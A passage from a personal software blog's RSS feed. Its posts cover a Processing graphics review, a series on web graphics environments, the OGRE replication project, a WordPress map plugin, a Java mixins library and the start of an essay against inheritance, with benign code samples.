<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">java.text.*</span><span style="color: #339933;">;</span> 
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">java.util.*</span><span style="color: #339933;">;</span> 
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">java.util.zip.*</span><span style="color: #339933;">;</span> 
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">java.util.regex.*</span><span style="color: #339933;">;</span> 
&nbsp;
<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">class</span> bubbles <span style="color: #000000; font-weight: bold;">extends</span> PApplet <span style="color: #009900;">&#123;</span>
&nbsp;
<span style="color: #000066; font-weight: bold;">int</span> bg <span style="color: #339933;">=</span> 0xffFF0088<span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000066; font-weight: bold;">void</span> setup<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
  size<span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">400</span>, <span style="color: #cc66cc;">400</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  smooth<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  background<span style="color: #009900;">&#40;</span>bg<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000066; font-weight: bold;">void</span> draw<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
  <span style="color: #000066; font-weight: bold;">float</span> size <span style="color: #339933;">=</span> random<span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">10</span>, <span style="color: #cc66cc;">100</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  ellipse<span style="color: #009900;">&#40;</span>random<span style="color: #009900;">&#40;</span><span style="color: #339933;">-</span><span style="color: #cc66cc;">100</span>, <span style="color: #cc66cc;">500</span><span style="color: #009900;">&#41;</span>, random<span style="color: #009900;">&#40;</span><span style="color: #339933;">-</span><span style="color: #cc66cc;">100</span>, <span style="color: #cc66cc;">500</span><span style="color: #009900;">&#41;</span>, size, size<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000066; font-weight: bold;">void</span> mousePressed<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
  background<span style="color: #009900;">&#40;</span>bg<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
  <span style="color: #000000; font-weight: bold;">static</span> <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000066; font-weight: bold;">void</span> main<span style="color: #009900;">&#40;</span><span style="color: #003399;">String</span> args<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    PApplet.<span style="color: #006633;">main</span><span style="color: #009900;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> <span style="color: #003399;">String</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #009900;">&#123;</span> <span style="color: #0000ff;">&quot;--present&quot;</span>, <span style="color: #0000ff;">&quot;--bgcolor=#666666&quot;</span>,
      <span style="color: #0000ff;">&quot;--stop-color=#cccccc&quot;</span>, <span style="color: #0000ff;">&quot;bubbles&quot;</span> <span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p><a href="http://berniesumption.com/external/imagine/processing-demo/" target="_blank">View the sketch online</a>.</p>
<p>But to focus on how little the compiler does is to miss the point of what Processing has done to Java. It has turned an object-oriented language into a procedural language with optional object-oriented features. By ditching the Java name and calling it a new language, Processing ensures that developers unlearn their Java experience and follow a different coding style. All the Processing examples and documentation encourage a coding style that looks and feels very different to Java. Global state and public variables are encouraged, access modifiers are rarely used, and long monolithic procedural scripts with no object oriented decomposition are common. It may be Java under the hood, but it feels like typed PHP.</p>
<p>Which is exactly the point. PHP is a great language for beginners because it makes simple things simple and complicated things possible. The learning curve for PHP is extremely smooth &#8211; just take an HTML page and drop in &#8220;&lt;? echo &#8216;Hello World&#8217;; ?&gt;&#8221; then point your browser at the page. Bang! You&#8217;re a programmer. Now google around for the functions you need to flesh out your idea. Processing is the PHP of graphics programming. If you&#8217;re an artist with ideas, you can get your first program up in seconds. Just open the Processing IDE, type &#8220;<code>rect(50, 50, 30, 30);</code>&#8221; and click &#8216;Run&#8217;. You&#8217;ll see this:</p>
<div id="attachment_430" class="wp-caption alignnone" style="width: 204px"><img class="size-full wp-image-430" title="" src="http://berniesumption.com/software/files/2011/10/processing-image-1.png" alt="" width="194" height="212" /><p class="wp-caption-text">A Processing one-liner</p></div>
<p>For a complete Java newbie, getting to that stage in a vanilla Java2D app would have required the best part of a day&#8217;s research. Since with Processing it takes 30 seconds, you have plenty of mental energy left over to search through the comprehensive standard library documentation looking for the functions you need to iteratively get your sketch closer to the idea in your head.</p>
<p>Speaking of the standard library:</p>
<h3>The Processing Library</h3>
<p>All processing sketches are compiled into classes that extend PApplet. This class has a large collection of useful public methods that appear to Processing sketches as a single flat namespace of functions, just like PHP.</p>
<p>These include functions for 2D and 3D vector drawing, raster image manipulation, file loading, logging and maths. The methods are intuitively named, and more complex effects can be easily built up with sequences of function calls:</p>

<div class="wp_syntax"><div class="code"><pre class="java" style="font-family:monospace;">smooth<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
rotate<span style="color: #009900;">&#40;</span>.1<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
fill<span style="color: #009900;">&#40;</span>#00FF88<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
rect<span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">50</span>, <span style="color: #cc66cc;">50</span>, <span style="color: #cc66cc;">30</span>, <span style="color: #cc66cc;">30</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<div id="attachment_431" class="wp-caption alignnone" style="width: 204px"><img class="size-full wp-image-431" title="" src="http://berniesumption.com/software/files/2011/10/processing-image-2.png" alt="" width="194" height="216" /><p class="wp-caption-text">A slightly more complicated sketch</p></div>
<h3>The Processing IDE</h3>
<p>If you&#8217;ve used any Java IDE, Processing seems very basic. It&#8217;s just an editor window with some basic keyword-based syntax highlighting.</p>
<div id="attachment_432" class="wp-caption alignnone" style="width: 525px"><img class="size-full wp-image-432" title="" src="http://berniesumption.com/software/files/2011/10/processing-image-3.png" alt="" width="515" height="516" /><p class="wp-caption-text">The Processing IDE</p></div>
<p>But once again, the whole is more than the sum of its parts. The processing IDE provides exactly what an artist needs to create and deliver their work, and no more. It doesn&#8217;t have code navigation, refactoring, interactive debugging or any of the other whizzy features of Eclipse. But it does have one-step wizards to export your sketch as a signed applet embedded in a web page or as Mac, Windows and Linux applications. I dread to think how long it would take a Java newbie to figure out how to do that with Eclipse. Heck, I dread to think how long it would take me to figure out how to do that with Eclipse.</p>
<p>Other features include a colour picker, font selector, documentation browser, code formatter and console for viewing debug messages.</p>
<h3>Conclusion</h3>
<p>I like Processing. If I need to do some simple interactive graphics in future, it will be at the top of my list. It also makes an excellent prototyping tool, so I&#8217;d consider using it to prototype graphics even if the project in in a different language.</p>
<p>Next up: <a href="http://berniesumption.com/software/2011/10/26/graphics-programming-environments-2-actionscript/">Flash / ActionScript</a></p>
]]></content:encoded>
			<wfw:commentRss>http://berniesumption.com/software/2011/10/24/graphics-programming-environments-1-processing/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Bernie&#8217;s Big Web Graphics Programming Environment Shootout</title>
		<link>http://berniesumption.com/software/2011/10/24/graphics-programming-environments/</link>
		<comments>http://berniesumption.com/software/2011/10/24/graphics-programming-environments/#comments</comments>
		<pubDate>Mon, 24 Oct 2011 09:09:56 +0000</pubDate>
		<dc:creator>bernie</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://berniesumption.com/software/?p=422</guid>
		<description><![CDATA[In which I harness the power of public expectation to motivate myself to write more software posts, by loudly committing to write a series of four. A graphics programming environment is a language or library suitable for drawing pretty patterns. &#8230; <a href="http://berniesumption.com/software/2011/10/24/graphics-programming-environments/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<h2>In which I harness the power of public expectation to motivate myself to write more software posts, by loudly committing to write a series of four.</h2>
<p>A graphics programming environment is a language or library suitable for drawing pretty patterns. In this series I&#8217;m interested in raster drawing environments, in which you can directly manipulate pixels rather than using higher level constructs like HTML or SVG.</p>
<p>I can think of four graphical programming environments that can be deployed on the web, and they&#8217;re all very different:</p>
<ol>
<li><strong>Processing</strong> is a tool for creating interactions that can be deployed as a Java applet (sure there are loads of other Java-based graphics environments, but this list has to end somewhere)</li>
<li><strong>Flash / ActionScript</strong> is the granddaddy of web graphics environments</li>
<li><strong>Canvas</strong> is a relatively recent addition to the HTML specification</li>
<li><strong>Google Native Client</strong> is a (currently) Chrome-only environment for safely running native machine code in a browser</li>
</ol>
<h2>The <em>imagine</em> app</h2>
<p>Imagine is a fun little app that I threw together in a few hours while learning Processing. It&#8217;s a black canvas, and moving your mouse over the canvas releases a stream of particles that spell &#8220;imagine&#8221; in furry technicolor letters:</p>
<p><iframe width="640" height="480" src="http://www.youtube.com/embed/kjUkW3Nizn0?rel=0&amp;hd=1" frameborder="0" allowfullscreen></iframe></p>
<p>It&#8217;s a simple app that exercises a few basic functions that I&#8217;d expect in any graphics environment: drawing of shapes, basic arithmetic, trigonometry and image file reading.</p>
<p><div id="attachment_470" class="wp-caption alignleft" style="width: 160px"><a href="http://berniesumption.com/software/files/2011/10/logo.jpg" target="_blank"><img src="http://berniesumption.com/software/files/2011/10/logo-150x150.jpg" alt="" title="" width="150" height="150" class="size-thumbnail wp-image-470" /></a><p class="wp-caption-text">The input image that drives the imagine app</p></div>Each frame when the mouse is down, a number of sparks are released near the pointer, following a power distribution that decreases further away from the mouse pointer. Grey sparks are released over the background and coloured sparks over text. The text is defined in a specially constructed input image (left) where the red and green channels are interpreted as the initial X and Y velocity and the blue channel is a mask to mark the text. This image was created in Photoshop, with bevel effects used on the red and green channels to create the effect that the coloured sparks always fly away from the text. The photoshop image is part of the source download below.</p>
<p class="download-link"><a href="http://hg.berniecode.com/imagine/get/tip.zip"><span class="download-arrow">Download the sources and compiled applications for all episodes</span></a></p>
<h2>The implementations</h2>
<p>This is a work in progress. I&#8217;ve written up my experience with two of the four environments, and will update this section when I&#8217;m finished.</p>
<ol>
<li><a href="http://berniesumption.com/software/2011/10/24/graphics-programming-environments-1-processing/">Episode 1: Processing</a></li>
<li><a href="http://berniesumption.com/software/2011/10/26/graphics-programming-environments-2-actionscript/">Episode 2: Flash / ActionScript</a></li>
<li><a href="http://berniesumption.com/software/2011/10/27/graphics-programming-environments-3-javascript-canvas/">Episode 3: JavaScript &#038;amp Canvas</a></li>
<li>Episode 4: Google Native Client (in progress)</li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://berniesumption.com/software/2011/10/24/graphics-programming-environments/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Introducing OGRE</title>
		<link>http://berniesumption.com/software/2011/05/05/introducing-ogre/</link>
		<comments>http://berniesumption.com/software/2011/05/05/introducing-ogre/#comments</comments>
		<pubDate>Fri, 06 May 2011 04:55:07 +0000</pubDate>
		<dc:creator>bernie</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://berniesumption.com/software/?p=392</guid>
		<description><![CDATA[I have a project to show y&#8217;all. I&#8217;ve been working on it for the last half year, and while its not yet complete enough to be considered a product, the underlying technology is solid. I&#8217;m releasing it now because I &#8230; <a href="http://berniesumption.com/software/2011/05/05/introducing-ogre/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>I have a project to show y&#8217;all. I&#8217;ve been working on it for the last half year, and while its not yet complete enough to be considered a product, the underlying technology is solid.</p>
<p><strong>I&#8217;m releasing it now because I want to collaborate with other people to fulfil the promise of this technology. If you have a project that needs technology like this then get in touch.</strong> If your company might want to hire me to work on said project, so much the better!</p>
<div id="attachment_407" class="wp-caption aligncenter" style="width: 630px"><img class="size-full wp-image-407" src="http://berniesumption.com/software/files/2011/05/ogre-splash.png" alt="" width="620" height="152" /><p class="wp-caption-text">Look, I even made a pretty mascot</p></div>
<p>OGRE is a platform neutral technology for taking a data set on a server and creating real-time replicated slaves on clients. It&#8217;s fast. <em>Very</em> fast. It&#8217;s also highly extensible so it&#8217;s likely that OGRE can be adapted to fit your project, not vice versa.</p>
<p>OGRE has it&#8217;s own website at <a href="http://ogre.berniecode.com/">ogre.berniecode.com</a>, that describes what OGRE is now. There is a <a href="http://ogre.berniecode.com/ogre_white_paper">white paper</a> describing how the technology works, and an <a href="http://ogre.berniecode.com/architectural_overview">architectural overview</a> describing the construction of the client and server libraries.</p>
<p>For the purposes of this introduction, I&#8217;d like to describe my vision of what OGRE could be. This vision is the reason I&#8217;ve been excited enough to spend 6 months of spare time working on this project. This is what I see OGRE being capable of if developed properly:</p>
<h2>The dream</h2>
<p><em>[the camera zooms in on your closed eyelids; the image shimmers and fades; this is a dream sequence...]</em></p>
<p>You have a client-server product. It&#8217;s a stock trading server written in Java; no wait &#8211; it&#8217;s a war simulator game in ruby; scratch that &#8211; it&#8217;s an oil tanker location tracking system in C#. Whatever: it&#8217;s a server in some language that, like most servers, maintains data in some persistent store, permits clients to access the data, and makes changes to the data when required.</p>
<p>Until now, your system has worked on a request-response basis like most other client-server applications. When a client wants to see the latest data, it requests the data and displays it to the user. If the information needs to be up to date, the client refreshes the screen every few seconds, re-requesting the data.</p>
<p>But one day you decide that your client is just too slow. The stock traders don&#8217;t want to know what the market was like ten seconds ago; or your gamers don&#8217;t want to know where the elf they&#8217;re trying to ambush was 10 seconds ago; or the oil tanker monitors don&#8217;t want to&#8230; well actually oil tankers are pretty slow so those users probably don&#8217;t care. But the bankers and gamers want to know <em>now, dammit!</em></p>
<p>Increasing the rate at which the clients refresh their screens isn&#8217;t an option &#8211; your servers are already under enough load, and the clients&#8217; network bandwidth isn&#8217;t infinite.</p>
<p>You&#8217;ve heard that OGRE solves this kind of problem, so you have a quick browse through the documentation. Ah ha! &#8211; you&#8217;re using Hibernate to access the database, and OGRE already has a Hibernate adapter so you don&#8217;t need to write your own. You drop 10 lines of code copied from the documentation into your application, compile and run it, and now your server is exposing a read-only copy of its data over the network.</p>
<p>Now to see if it works. You fire up Flash Builder (or perhaps Visual Studio if your client is in Silverlight, or Eclipse if it&#8217;s in Java), paste in another short code sample from the documentation, and then in around 20 lines you write the simplest UI you could possibly write to display the current state of the system. You launch the new UI, and it displays a copy of your stock prices (or war game or ship locations :o). As the data on the server changes, the new UI updates automagically, rendering new information within a few milliseconds of a change happening on the server.</p>
<p>Just for a laugh, you launch 1000 instances of the client. The server&#8217;s network and CPU stats hardly even register the difference.</p>
<h2>The demonstration</h2>
<p><em>[You wake suddenly, sitting bolt upright in bed. Was it really just a dream?]</em></p>
<p>OGRE isn&#8217;t there just yet, but the technology has been proved with a Java server and client. More languages are coming soon, probably with ActionScript first. Here&#8217;s a video of OGRE in action running the friendgraph demo included in the source distribution:</p>
<p><iframe width="640" height="510" src="http://www.youtube.com/embed/K1TKt9HKqaQ?rel=0&#038;hd=1" frameborder="0" allowfullscreen></iframe></p>
<p>If you&#8217;d like to get involved in developing OGRE, especially if you have a project you&#8217;d like to try it on, then get in touch.</p>
]]></content:encoded>
			<wfw:commentRss>http://berniesumption.com/software/2011/05/05/introducing-ogre/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>A full page map for WordPress and WP Geo</title>
		<link>http://berniesumption.com/software/wp-geo-big-map/</link>
		<comments>http://berniesumption.com/software/wp-geo-big-map/#comments</comments>
		<pubDate>Tue, 12 Apr 2011 16:34:09 +0000</pubDate>
		<dc:creator>bernie</dc:creator>
		
		<guid isPermaLink="false">http://berniesumption.com/software/?page_id=371</guid>
		<description><![CDATA[[skip to installation instructions] When I started writing a travel blog almost half a year ago, I had a specific vision of how it would look. I wanted a big world map, onto which I would drop little pins. Each &#8230; <a href="http://berniesumption.com/software/wp-geo-big-map/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><a href="#installation">[skip to installation instructions]</a></p>
<p>When I started writing a <a href="http://berniesumption.com/travel/">travel blog</a> almost half a year ago, I had a specific vision of how it would look. I wanted a big world map, onto which I would drop little pins. Each pin would be a single blog post, and clicking that pin would allow you to read the post in one of those little Google Maps speech bubble thingies.</p>
<p>There is a popular WordPress plugin called WP Geo that allows you to record the latitude and longitude of each post. WP Geo stores the necessary information in the database and has an excellent admin interface. Unfortunately the maps it provides are quite the wrong way round for my idea: WP Geo puts a little map onto your post, I wanted to put my little posts onto a big map!</p>
<p>So I wrote a WordPress plugin to extend WP Geo and add a big sexy map. In order to use it, you need WP Geo installed. To see it in action, check out <a href="http://berniesumption.com/travel/map/">my own travel map</a>. The plugin is called:</p>
<h2>WP Geo Big Map</h2>
<p>(Damn, I should have called it WP Geo Big Sexy Map, but it&#8217;s too late to change it now)</p>
<p>After installing WP Geo and this plugin, create a new page with nothing except the shortcode <code>[big</code>_<code>map]</code>. This magic shortcode replaces the whole page with a huge map, and all your posts will show up as pins on the map.</p>
<p>The shortcode has a number of customisation options which are detailed on the <a href="http://wordpress.org/extend/plugins/wp-geo-big-map/">plugin page on wordpress.org</a>.</p>
<h3>Some screenshots:</h3>
<div id="attachment_378" class="wp-caption alignnone" style="width: 650px"><a href="http://berniesumption.com/software/files/2011/04/big-map.jpg" target="_blank"><img class="size-large wp-image-378" src="http://berniesumption.com/software/files/2011/04/big-map-1024x843.jpg" alt="Big Map Screenshot" width="640" height="526" /></a><p class="wp-caption-text">Posts appear as pins on a big map</p></div>
<div id="attachment_377" class="wp-caption alignnone" style="width: 650px"><a href="http://berniesumption.com/software/files/2011/04/big-map-rollover.jpg" target="_blank"><img class="size-large wp-image-377" src="http://berniesumption.com/software/files/2011/04/big-map-rollover-1024x843.jpg" alt="Big Map Screenshot" width="640" height="526" /></a><p class="wp-caption-text">Mousing over a pin brings up a summary of the post. The default badge shows the featured image and post excerpt, but you can customise this through your theme</p></div>
<div id="attachment_376" class="wp-caption alignnone" style="width: 650px"><a href="http://berniesumption.com/software/files/2011/04/big-map-multiple-posts.jpg" target="_blank"><img class="size-large wp-image-376" src="http://berniesumption.com/software/files/2011/04/big-map-multiple-posts-1024x843.jpg" alt="Big Map Screenshot" width="640" height="526" /></a><p class="wp-caption-text">If you make multiple posts in one location, they appear as a pop-up menu on one pin</p></div>
<div id="attachment_375" class="wp-caption alignnone" style="width: 650px"><a href="http://berniesumption.com/software/files/2011/04/big-map-iframe.jpg" target="_blank"><img class="size-large wp-image-375" src="http://berniesumption.com/software/files/2011/04/big-map-iframe-1024x843.jpg" alt="Big Map Screenshot" width="640" height="526" /></a><p class="wp-caption-text">You can read posts in a pop-up iframe without leaving the map</p></div>
<h2><a name="installation"></a>Installation</h2>
<p><strong>NOTE:</strong> WP Geo Big Map is tuned to work with the Twenty Ten theme that is the default for WordPress 3.x. If you&#8217;re using a different theme that is not based on Twenty Ten, consult the plugin&#8217;s readme.txt for instructions.</p>
<p>The easiest way to install the plugin is through the WordPress dashboard. Log in to your site, go to &#8220;Plugins &gt; Add New&#8221;, search for &#8220;big map&#8221; and install it.</p>
<p>If you want to see the source code, or install the plugin manually, you can download it from my mercurial repository:</p>
<p class="download-link"><a href="http://hg.berniecode.com/wp-geo-big-map/get/tip.zip"><span class="download-arrow">Download WP Geo Big Map</span></a></p>
<h2>Feedback</h2>
<p>Any feedback is welcome, as always. I can be reached at bernie@berniecode.com.</p>
]]></content:encoded>
			<wfw:commentRss>http://berniesumption.com/software/wp-geo-big-map/feed/</wfw:commentRss>
		<slash:comments>96</slash:comments>
		</item>
		<item>
		<title>Mixins for Java</title>
		<link>http://berniesumption.com/software/mixins-for-java/</link>
		<comments>http://berniesumption.com/software/mixins-for-java/#comments</comments>
		<pubDate>Sun, 03 Oct 2010 15:52:52 +0000</pubDate>
		<dc:creator>bernie</dc:creator>
		
		<guid isPermaLink="false">http://berniesumption.com/software/</guid>
		<description><![CDATA[Just for fun, I decided to implement mixins for Java, then record a screencast demonstrating how it works whilst at the same time trying to say &#8220;Um&#8221; as little as possible (I succeeded on the first two counts and failed &#8230; <a href="http://berniesumption.com/software/mixins-for-java/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Just for fun, I decided to implement <a href="http://en.wikipedia.org/wiki/Mixin">mixins</a> for Java, then record a screencast demonstrating how it works whilst at the same time trying to say &#8220;Um&#8221; as little as possible (I succeeded on the first two counts and failed on the last).</p>
<h2>Introduction</h2>
<p><a href="#screencast">Click here to skip to the screencast</a></p>
<p>A Mixin is a bit of re-usable code that can be mixed in to classes. It is a form of code re-use more flexible than inheritance and less dangerous than multiple-inheritance. It works like this:</p>

<div class="wp_syntax"><div class="code"><pre class="java" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">// this is a mixin: an interface labeled with a default implementation</span>
@MixinType<span style="color: #009900;">&#40;</span>implementation <span style="color: #339933;">=</span> HelloMessageBearer.<span style="color: #000000; font-weight: bold;">class</span><span style="color: #009900;">&#41;</span>
<span style="color: #000000; font-weight: bold;">interface</span> MessageBearer <span style="color: #009900;">&#123;</span>
    <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #003399;">String</span> getMessage<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// this is a mixin implementation. Classes implementing MyMixin will</span>
<span style="color: #666666; font-style: italic;">// automatically have this implementation code mixed into them</span>
<span style="color: #000000; font-weight: bold;">class</span> HelloMessageBearer <span style="color: #000000; font-weight: bold;">implements</span> MessageBearer <span style="color: #009900;">&#123;</span>
    <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #003399;">String</span> getMessage<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <span style="color: #000000; font-weight: bold;">return</span> <span style="color: #0000ff;">&quot;Hello World!&quot;</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// this is a class that uses the MessageBearer mixin</span>
@MixinBase
<span style="color: #000000; font-weight: bold;">abstract</span> <span style="color: #000000; font-weight: bold;">class</span> MessagePrinter <span style="color: #000000; font-weight: bold;">implements</span> MessageBearer <span style="color: #009900;">&#123;</span>
    <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000066; font-weight: bold;">void</span> printMessage<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        <span style="color: #666666; font-style: italic;">// code can refer to methods of the mixin interface</span>
        <span style="color: #003399;">System</span>.<span style="color: #006633;">out</span>.<span style="color: #006633;">println</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;message: &quot;</span> <span style="color: #339933;">+</span> <span style="color: #000000; font-weight: bold;">this</span>.<span style="color: #006633;">getMessage</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// Demo code. Because this is a runtime library,</span>
<span style="color: #666666; font-style: italic;">// &quot;MixinSupport.create(X.class)&quot; must be used instead of &quot;new X()&quot;</span>
MessagePrinter printer <span style="color: #339933;">=</span> MixinSupport.<span style="color: #006633;">create</span><span style="color: #009900;">&#40;</span>MessagePrinter.<span style="color: #000000; font-weight: bold;">class</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
printer.<span style="color: #006633;">printMessage</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// outputs &quot;message: Hello World!&quot;</span></pre></div></div>

<p>Mixins for Java is a pure-Java runtime library that implements mixins in a type-safe way without requiring either a preprocessor (as JAMIE does) or whole new compiler (as AspectJ does).</p>
<p>All code is BSD licensed and available at <a href="http://code.google.com/p/java-mixins">code.google.com/p/java-mixins</a>.</p>
<h2><a name="screencast"></a>Screencast</h2>
<p>The screencast requires flash and sound. <strong>You should click the &#8220;full screen&#8221; icon in the bottom right for best quality</strong>. If you don&#8217;t have the flash player, you can <a href="http://berniesumption.com/software/files/2010/10/mixins-for-java-screencast.mp4">download the mp4 file here</a>.</p>
<p><img src="http://berniesumption.com/software/wp-content/plugins/html5-and-flash-video-player/default_video_player.gif" /></p>
]]></content:encoded>
			<wfw:commentRss>http://berniesumption.com/software/mixins-for-java/feed/</wfw:commentRss>
		<slash:comments>16</slash:comments>
		</item>
		<item>
		<title>Inheritance is evil, and must be destroyed</title>
		<link>http://berniesumption.com/software/inheritance-is-evil-and-must-be-destroyed/</link>
		<comments>http://berniesumption.com/software/inheritance-is-evil-and-must-be-destroyed/#comments</comments>
		<pubDate>Fri, 01 Oct 2010 09:13:31 +0000</pubDate>
		<dc:creator>bernie</dc:creator>
		
		<guid isPermaLink="false">http://berniesumption.com/software/</guid>
		<description><![CDATA[When I built Animator.js, I got some flack for suggesting that inheritance is not a Good Thing. Keen to avoid a holy war I restated my position to &#8216;inheritance is often useful, but more often overused.&#8217; Over the last few &#8230; <a href="http://berniesumption.com/software/inheritance-is-evil-and-must-be-destroyed/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<style type="text/css"><!--

.good {
    background-color: #DDFFDD;
    padding: 10px!important; 
}
.good h3 {
    color: #006600;
    font-size: 20px;
}
.evil {
    background-color: #FFDDDD;
    padding: 10px!important;
}
.evil h3 {
    color: #660000;
    font-size: 20px;
}
-->
</style>

<p>When I built <a href="http://berniesumption.com/software/animator/">Animator.js</a>, I got some flack for suggesting that inheritance is not a Good Thing. Keen to avoid a holy war I restated my position to &#8216;inheritance is often useful, but more often overused.&#8217; Over the last few months I&#8217;ve been trying to figure out exactly when it should be used, and have concluded &#8211; at least for the kind of systems GUI developers build &#8211; never.</p>

<p>I&#8217;ve been working on a Flash port of Animator.js that&#8217;s been pumped up on performance enhancing drugs and given a flame thrower. It&#8217;s a fairly complex software component with around 30 classes, but it uses the <a href="http://en.wikipedia.org/wiki/Strategy_pattern">Strategy Pattern</a> instead of inheritance. I&#8217;ve grown fairly passionate about my anti-inheritance stand, and want to take some time to explain myself. In this article I rant for a few paragraphs in an attempt to persuade you not to use inheritance, and then show you how to use for Strategy Pattern for your own software.</p>

<p>The code samples for this article are in Actionscript but the concept applies just as much to JavaScript, or indeed any object oriented language.</p>

<h2>Why inheritance sucks</h2>

<p><a href="#example">Skip this and go straight to the code, if you like</a></p>

<p>All of the pain caused by inheritance can be traced back to the fact that inheritance forces &#8216;is-a&#8217; rather than &#8216;has-a&#8217; relationships. If class R2Unit extends Droid, then a R2Unit is-a Droid. If class Jedi contains an instance variable of type Lightsabre, then a Jedi has-a Lightsabre.</p>

<div class="sidebar">
    <h3>The other kind of inheritance</h3>
    <p>By the way, my gripe is with concrete inheritance &#8211; one class deriving from another and inheriting behavior from the parent class. I have no problem with interface inheritance, where only method signatures are inherited.</p>
</div>

<p>The difference between is-a and has-a relationships is well known and a fundamental part of <a href="http://en.wikipedia.org/wiki/Object-oriented_analysis_and_design">OOAD</a>, but what is less well known is that almost every is-a relationship would be better off re-articulated as a has-a relationship.</p>

<p><em>Eh?</em></p>

<p>Instead of extending a class and adding some functionality in the subclass, try putting the new functionality into its own class. Suppose you want to create a DarkJedi class; a dark Jedi is like a standard Jedi, but with dark powers too. The obvious way to do this is by extending the Jedi class and adding some appropriate methods:</p>


<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #006600; font-style: italic;">// bad</span>
<span style="color: #003366; font-weight: bold;">class</span> Jedi <span style="color: #009900;">&#123;</span>
    <span style="color: #003366; font-weight: bold;">function</span> drawSabre<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">:</span>Sabre <span style="color: #009900;">&#123;</span> ... <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #003366; font-weight: bold;">class</span> DarkJedi <span style="color: #003366; font-weight: bold;">extends</span> Jedi <span style="color: #009900;">&#123;</span>
&nbsp;
    <span style="color: #003366; font-weight: bold;">function</span> crushTownspeople<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">:</span><span style="color: #000066; font-weight: bold;">void</span> <span style="color: #009900;">&#123;</span> ... <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
dj<span style="color: #339933;">:</span>DarkJedi <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">new</span> DarkJedi<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
